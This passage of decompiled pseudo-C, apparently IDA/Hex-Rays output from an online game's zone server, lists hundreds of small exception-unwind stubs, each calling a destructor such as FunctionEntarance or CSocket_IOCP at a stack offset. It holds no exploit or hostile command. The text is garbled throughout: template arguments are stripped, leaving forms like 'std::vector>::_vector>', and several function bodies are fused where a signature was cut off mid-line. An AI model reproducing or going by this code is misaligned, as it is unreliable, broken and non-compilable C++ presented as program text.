FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0058BB30) -------------------------------------------------------- void __usercall _L145608(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BB50) -------------------------------------------------------- void __usercall _L145654(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0058BB70) -------------------------------------------------------- void __usercall _L148364(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BB90) -------------------------------------------------------- void __usercall _L71921(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BBB0) -------------------------------------------------------- void __usercall _L161191(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (0058BBB8) -------------------------------------------------------- void __usercall _L161192(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 88)); } //----- (0058BBC0) -------------------------------------------------------- void __usercall _L161193(int a1) { ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter((ChargedItemEffectList::ChargedEffectListRouter *)(a1 - 64)); } //----- (0058BBE0) -------------------------------------------------------- void __usercall _L162076(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BBE8) -------------------------------------------------------- void __usercall _L162077(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (0058BC00) -------------------------------------------------------- void __usercall _L162230(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0058BC08) -------------------------------------------------------- void __usercall _L162231(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (0058BC20) -------------------------------------------------------- void __usercall _L162445(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 172)); } //----- (0058BC2B) -------------------------------------------------------- void __usercall _L162446(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 144)); } //----- (0058BC40) -------------------------------------------------------- void __usercall _L163101_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BC48) -------------------------------------------------------- void __usercall _L163102_0(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 20)); } //----- (0058BC60) -------------------------------------------------------- void __usercall _L163130_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0058BC80) -------------------------------------------------------- void __usercall _L163493(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 1276)); } //----- (0058BCA0) -------------------------------------------------------- void __usercall _L163910(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 132)); } //----- (0058BCC0) -------------------------------------------------------- void __usercall _L164084(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 332)); } //----- (0058BCE0) -------------------------------------------------------- void __usercall _L164144(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BD00) -------------------------------------------------------- void __usercall _L156506(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 252)); } //----- (0058BD20) -------------------------------------------------------- void __usercall _L156718_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (0058BD40) -------------------------------------------------------- void __usercall _L156842(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BD60) -------------------------------------------------------- void __usercall _L158826(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0058BD80) -------------------------------------------------------- void __usercall _L160469(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0058BDA0) -------------------------------------------------------- void __usercall _L160541(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058BDC0) -------------------------------------------------------- void __usercall _L160683(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 568)); } //----- (0058BDCB) -------------------------------------------------------- void __usercall _L160684(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (0058BDE0) -------------------------------------------------------- void __usercall _L160798(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 432)); } //----- (0058BDEB) -------------------------------------------------------- void __usercall _L160799(int a1) { FieldMap::_FieldMap(a1 - 312); } //----- (0058BE00) -------------------------------------------------------- void __usercall _L160945(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BE20) -------------------------------------------------------- void __usercall _L156386_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (0058BE40) -------------------------------------------------------- void __usercall _L157905_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BE60) -------------------------------------------------------- void __usercall _L157990(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0058BE80) -------------------------------------------------------- void __usercall _L154918(int a1) { CSocket_IOCP::_CSocket_IOCP((CSocket_IOCP *)(*(_DWORD *)(a1 - 16) + 44)); } //----- (0058BEA0) -------------------------------------------------------- void __usercall _L155001(int a1) { CSocket_IOCP::_CSocket_IOCP((CSocket_IOCP *)(*(_DWORD *)(a1 - 16) + 44)); } //----- (0058BEAB) -------------------------------------------------------- void __usercall _L155002(int a1) { CPacket::_CPacket((CPacket *)(*(_DWORD *)(a1 - 16) + 224)); } //----- (0058BED0) -------------------------------------------------------- void __usercall _L156769(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 356)); } //----- (0058BEF0) -------------------------------------------------------- void __usercall _L157307(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (0058BF10) -------------------------------------------------------- void __usercall _L158123(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (0058BF30) -------------------------------------------------------- void __usercall _L158190_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BF38) -------------------------------------------------------- void __usercall _L158191_0(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 28)); } //----- (0058BF50) -------------------------------------------------------- void __usercall _L158330_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 340)); } //----- (0058BF70) -------------------------------------------------------- void __usercall _L158633(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058BF7B) -------------------------------------------------------- void __usercall _L158634(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0058BF90) -------------------------------------------------------- void __usercall _L158862(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058BFB0) -------------------------------------------------------- void __usercall _L158923(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (0058BFB8) -------------------------------------------------------- void __usercall _L158924(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 128)); } //----- (0058BFF0) -------------------------------------------------------- void __usercall _L160466(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058C010) -------------------------------------------------------- void __usercall _L161208(int a1) { ZoneServer::__unnamed::___unnamed((CCsl *)(*(_DWORD *)(a1 - 16) + 48)); } //----- (0058C01B) -------------------------------------------------------- void __usercall _L161209(int a1) { CIOCP::_CIOCP((CIOCP *)(*(_DWORD *)(a1 - 16) + 1388)); } //----- (0058C029) -------------------------------------------------------- void __usercall _L161210(int a1) { CSocket_Acceptor::_CSocket_Acceptor((CSocket_Acceptor *)(*(_DWORD *)(a1 - 16) + 1436)); } //----- (0058C050) -------------------------------------------------------- void __usercall _L160628(int a1) { String::_String((String *)(a1 - 1196)); } //----- (0058C05B) -------------------------------------------------------- void __usercall _L160629(int a1) { String::_String((String *)(a1 - 1148)); } //----- (0058C066) -------------------------------------------------------- void __usercall _L160630(int a1) { _eh_vector_destructor_iterator_((void *)(a1 - 1128), 0x10u, 5, (void (__thiscall *)(void *))String::_String); } //----- (0058C07C) -------------------------------------------------------- void __usercall _L160631(int a1) { String::_String(*(String **)(a1 - 1132)); } //----- (0058C087) -------------------------------------------------------- void __usercall _L160632(int a1) { String::_String(*(String **)(a1 - 1152)); } //----- (0058C0A0) -------------------------------------------------------- void __usercall _L161234(int a1) { String::_String(*(String **)(a1 - 1056)); } //----- (0058C0C0) -------------------------------------------------------- void __usercall _L162167(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058C0C8) -------------------------------------------------------- void __usercall _L162168(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (0058C0E0) -------------------------------------------------------- void __usercall _L163547(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058C100) -------------------------------------------------------- void __usercall _L168237(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0058C120) -------------------------------------------------------- void __usercall _L168838(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0058C140) -------------------------------------------------------- void __usercall _L168879(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058C160) -------------------------------------------------------- void __usercall _L169548(int a1) { CDataReader::_CDataReader((CDataReader *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0058C180) -------------------------------------------------------- void __usercall _L170478(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058C1A0) -------------------------------------------------------- void __usercall _L172344(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (0058C1A8) -------------------------------------------------------- void __usercall _L172345(int a1) { operator delete__(*(void **)(a1 + 4)); } //----- (0058C1E0) -------------------------------------------------------- void __usercall _L173402(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058C200) -------------------------------------------------------- void __usercall _L180094(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 44)); } //----- (0058C208) -------------------------------------------------------- void __usercall _L180095(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 72)); } //----- (0058C220) -------------------------------------------------------- void __usercall _L181445(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (0058C240) -------------------------------------------------------- void __usercall _L181457(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 120)); } //----- (0058C260) -------------------------------------------------------- void __usercall _L155368(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058C280) -------------------------------------------------------- void __usercall _L155590(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 136)); } //----- (0058C2A0) -------------------------------------------------------- void __usercall _L158553(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 272)); } //----- (0058C2C0) -------------------------------------------------------- void __usercall _L158665(int a1) { CQuest::_CQuest(*(CQuest **)(a1 - 16)); } //----- (0058C2E0) -------------------------------------------------------- void __usercall _L158979(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 156)); } //----- (0058C2EB) -------------------------------------------------------- void __usercall _L158980(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 144)); } //----- (0058C300) -------------------------------------------------------- void __usercall _L159506(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (0058C308) -------------------------------------------------------- void __usercall _L159507(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 32)); } //----- (0058C320) -------------------------------------------------------- void __usercall _L159603(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 44)); } //----- (0058C328) -------------------------------------------------------- void __usercall _L159604(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (0058C340) -------------------------------------------------------- void __usercall _L160368(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0058C360) -------------------------------------------------------- void __usercall _L160451(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 84)); } //----- (0058C380) -------------------------------------------------------- void __usercall _L160668(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058C388) -------------------------------------------------------- void __usercall _L160670(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (0058C3A0) -------------------------------------------------------- void __usercall _L160759(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058C3A8) -------------------------------------------------------- void __usercall _L160761(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 12)); } //----- (0058C3B0) -------------------------------------------------------- void __usercall _L160760(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 12)); } //----- (0058C3D0) -------------------------------------------------------- void __usercall _L160888(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 120)); } //----- (0058C3F0) -------------------------------------------------------- void __usercall _L160933(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0058C410) -------------------------------------------------------- void __usercall _L160988(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 152)); } //----- (0058C430) -------------------------------------------------------- void __usercall _L161110(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058C438) -------------------------------------------------------- void __usercall _L161111(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (0058C440) -------------------------------------------------------- void __usercall _L161112(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058C448) -------------------------------------------------------- void __usercall _L161113(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (0058C450) -------------------------------------------------------- void __usercall _L161114(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (0058C458) -------------------------------------------------------- void __usercall _L161115(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 + 8)); } //----- (0058C460) -------------------------------------------------------- void __usercall _L161116(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058C480) -------------------------------------------------------- void __usercall _L161190(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (0058C488) -------------------------------------------------------- void __usercall _L161191_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 60)); } //----- (0058C490) -------------------------------------------------------- void __usercall _L161192_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (0058C498) -------------------------------------------------------- void __usercall _L161198(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0058C4A0) -------------------------------------------------------- void __usercall _L161200(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 56)); } //----- (0058C4A8) -------------------------------------------------------- void __usercall _L161201(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (0058C4B0) -------------------------------------------------------- void __usercall _L161193_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0058C4B8) -------------------------------------------------------- void __usercall _L161194(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0058C4C0) -------------------------------------------------------- void __usercall _L161195(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0058C4C8) -------------------------------------------------------- void __usercall _L161196(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0058C4D0) -------------------------------------------------------- void __usercall _L161197(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0058C4D8) -------------------------------------------------------- void __usercall _L161199(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (0058C4F0) -------------------------------------------------------- void __usercall _L161354(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 632)); } //----- (0058C510) -------------------------------------------------------- void __usercall _L161431(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 340)); } //----- (0058C530) -------------------------------------------------------- void __usercall _L161496(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (0058C550) -------------------------------------------------------- void __usercall _L161611(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058C570) -------------------------------------------------------- void __usercall _L161691_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058C590) -------------------------------------------------------- void __usercall _L148231(int a1) { NPCAction::DieAction::_DieAction(*(SlantedCoordList::ObjectYCoordNode **)(a1 - 16)); } //----- (0058C5B0) -------------------------------------------------------- void __usercall _L148477_1(int a1) { operator delete(*(void **)(a1 - 16)); } //----- (0058C5D0) -------------------------------------------------------- void __usercall _L150873(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058C5F0) -------------------------------------------------------- void __usercall _L148476_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0058C5F8) -------------------------------------------------------- void __usercall _L148477_2(int a1) { Observer::_Observer((Observer *)(a1 - 28)); } //----- (0058C610) -------------------------------------------------------- void __usercall _L149631(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { IObserver::_IObserver(*(ItemSmallBag **)(a1 - 16)); } //----- (0058C660) -------------------------------------------------------- void __usercall _L151512(int a1) { NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader((NPCAction::TriggerGen_OptionReader *)(a1 + 12)); } //----- (0058C668) -------------------------------------------------------- void __usercall _L151513(int a1) { NPCAction::Trigger::_Trigger((NPCAction::Trigger *)(a1 - 36)); } //----- (0058C710) -------------------------------------------------------- void __usercall _L153623(int a1) { std::vector>::_vector>((std::vector > *)(a1 + 12)); } //----- (0058C718) -------------------------------------------------------- void __usercall _L153624(int a1) { if ( *(_DWORD *)(a1 - 16) & 1 ) { *(_DWORD *)(a1 - 16) &= 0xFFFFFFFEu; std::pair>>::_pair>>(*(std::pair > > **)(a1 + 4)); } } //----- (0058C740) -------------------------------------------------------- void __usercall _L153648(int a1) { NPCAction::Trigger::_Trigger((NPCAction::Trigger *)(a1 + 8)); } //----- (0058C780) -------------------------------------------------------- void __usercall _L154207(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058C7A0) -------------------------------------------------------- void __usercall _L154588(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (0058C7AB) -------------------------------------------------------- void __usercall _L154589(int a1) { NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader((NPCAction::TriggerGen_OptionReader *)(a1 - 67708)); } //----- (0058C7B6) -------------------------------------------------------- void __usercall _L154590(int a1) { NPCAction::TriggerGen_OptionReader::_TriggerGen_OptionReader(*(NPCAction::TriggerGen_OptionReader **)(a1 - 67712)); } //----- (0058C7D0) -------------------------------------------------------- void __usercall _L154783_0(int a1) { std::vector>::_vector>((std::vector > *)(a1 - 524)); } //----- (0058C7DB) -------------------------------------------------------- void __usercall _L154784(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 452)); } //----- (0058C7E6) -------------------------------------------------------- void __usercall _L154786(int a1) { std::pair>>::_pair>>((std::pair > > *)(a1 - 484)); } //----- (0058C7F1) -------------------------------------------------------- void __usercall _L154787_0(int a1) { std::pair>>::_pair>>((std::pair > > *)(a1 - 504)); } //----- (0058C810) -------------------------------------------------------- void __usercall _L146893(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058C818) -------------------------------------------------------- void __usercall _L146894(int a1) { Observer::_Observer((Observer *)(a1 - 28)); } //----- (0058C830) -------------------------------------------------------- void __usercall _L148650(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058C850) -------------------------------------------------------- void __usercall _L149846(int a1) { IObserver::_IObserver(*(ItemSmallBag **)(a1 - 16)); } //----- (0058C870) -------------------------------------------------------- void __usercall _L151121(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 44) + 8)); } //----- (0058C87B) -------------------------------------------------------- void __usercall _L151232(int a1) { IObserver::_IObserver((ItemSmallBag *)(a1 - 36)); } //----- (0058C883) -------------------------------------------------------- void __usercall _L151123(int a1) { NPCAction::Trigger::_Trigger((NPCAction::Trigger *)(a1 - 36)); } //----- (0058C8D0) -------------------------------------------------------- void __usercall _L77749(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058C8F0) -------------------------------------------------------- void __usercall _L79272(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 32)); } //----- (0058C910) -------------------------------------------------------- void __usercall _L151040(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058C930) -------------------------------------------------------- void __usercall _L76728(int a1) { BitSet::_BitSet((BitSet *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (0058C950) -------------------------------------------------------- void __usercall _L80643(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058C970) -------------------------------------------------------- void __usercall _L81808(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (0058C9C0) -------------------------------------------------------- void __usercall _L85097(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058CA00) -------------------------------------------------------- void __usercall _L85699(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058CA20) -------------------------------------------------------- void __usercall _L86310(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0058CA40) -------------------------------------------------------- void __usercall _L86359(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 48)); } //----- (0058CA60) -------------------------------------------------------- void __usercall _L86469(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (0058CA68) -------------------------------------------------------- unsigned int __cdecl _L86470() { unsigned int result; // eax@1 result = _S4_26 & 0xFFFFFFFE; _S4_26 &= 0xFFFFFFFEu; return result; } //----- (0058CA80) -------------------------------------------------------- void __usercall _L109406(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058CAA0) -------------------------------------------------------- void __usercall _L109448(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0058CAA8) -------------------------------------------------------- void __usercall _L109449(int a1) { if ( *(_DWORD *)(a1 - 44) & 1 ) { *(_DWORD *)(a1 - 44) &= 0xFFFFFFFEu; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 + 4)); } } //----- (0058CAD0) -------------------------------------------------------- void __usercall _L156260(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058CAD8) -------------------------------------------------------- void __usercall _L156261(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (0058CAF0) -------------------------------------------------------- void __usercall _L156473(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058CB10) -------------------------------------------------------- void __usercall _L156838(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058CB30) -------------------------------------------------------- void __usercall _L157097(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (0058CB50) -------------------------------------------------------- void __usercall _L157251(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (0058CB70) -------------------------------------------------------- void __usercall _L152710(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (0058CB90) -------------------------------------------------------- void __usercall _L154084(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 32)); } //----- (0058CBB0) -------------------------------------------------------- void __usercall _L154152(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0058CBB8) -------------------------------------------------------- void __usercall _L154153(int a1) { AxialListMobStateSet::_AxialListMobStateSet((AxialListMobStateSet *)(a1 - 36)); } //----- (0058CBD0) -------------------------------------------------------- void __usercall _L154493(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (0058CBF0) -------------------------------------------------------- void __usercall _L157635_0(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)(a1 - 80)); } //----- (0058CC30) -------------------------------------------------------- void __usercall _L159864(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 196)); } //----- (0058CC3B) -------------------------------------------------------- void __usercall _L159865(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 184)); } //----- (0058CC50) -------------------------------------------------------- void __usercall _L159931(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 172)); } //----- (0058CC5B) -------------------------------------------------------- void __usercall _L159932(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 168)); } //----- (0058CC90) -------------------------------------------------------- void __usercall _L161459_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (0058CCF0) -------------------------------------------------------- void __usercall _L163453(int a1) { KQContribute::KQContributeList::_KQContributeList(*(KQContribute::KQContributeList **)(a1 - 16)); } //----- (0058CD10) -------------------------------------------------------- void __usercall _L163664(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 152)); } //----- (0058CD1B) -------------------------------------------------------- void __usercall _L163665(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 172)); } //----- (0058CD26) -------------------------------------------------------- void __usercall _L163666(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 148)); } //----- (0058CD31) -------------------------------------------------------- void __usercall _L163667(int a1) { FamilyMobManagement::FamilyMob::_FamilyMob((KQContribute::PlayerList *)(a1 - 172)); } //----- (0058CD50) -------------------------------------------------------- void __usercall _L68180(int a1) { BTree::_BTree(*(BTree **)(a1 - 16)); } //----- (0058CD70) -------------------------------------------------------- void __usercall _L68215(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (0058CD90) -------------------------------------------------------- void __usercall _L4152(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 20), 0x8008u, 101, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0058CDB0) -------------------------------------------------------- void __usercall _L4171(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x8008u, 101, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (0058CDD0) -------------------------------------------------------- void __usercall _L71160(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (0058CDD8) -------------------------------------------------------- void __usercall _L71161(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 168)); } //----- (0058CDE6) -------------------------------------------------------- void __usercall _L71162(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 392)); } //----- (0058CDF4) -------------------------------------------------------- void __usercall _L71163(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 608)); } //----- (0058CE02) -------------------------------------------------------- void __usercall _L71164(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 804)); } //----- (0058CE10) -------------------------------------------------------- void __usercall 